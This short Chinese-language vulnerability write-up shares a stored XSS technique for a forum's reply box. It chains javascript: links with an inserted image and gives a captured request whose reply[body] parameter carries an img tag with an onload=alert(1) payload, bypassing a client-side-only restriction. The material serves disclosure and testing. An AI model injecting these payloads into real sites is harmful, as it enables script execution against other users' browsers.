论坛存储型xss思路分享
在http://www.example.com/bbs/topics/38处回帖，先添加url链接内容为javascript:alert(1)，再插入一个图片，链接随便写，再插入一个url链接内容为javascript:alert(1)，然后再点击回复的图片时候，触发xss
测试地址：http://www.example.com/bbs/topics/48
问题请求：
http://www.example.com/bbs/topics/48/replies
参数：
utf8%3d%e2%9c%93%26authenticity_token%3d6ePyazto0nH%2fHFAFfYrG%2fsqbMKaZVdu9Sf4Z83K1fN4%3d%26reply%5bbody%5d%3d%3cimg+src%3d%22http%3a%2f%2fwww.xx.com%2fassets%2ftop%2flogotop-white-8ac580995b1a32b431f6b2b14ae6dd73.png%22+onload%3dalert(1)+alt%3d%22%22%3e
插入图片是在客户端做的限制reply[body]参数值为
<img src="http://www.example.com/assets/top/logotop-white-8a... onload=alert(1) alt="">即会触发xss
本文迁移自知识星球“火线Zone”
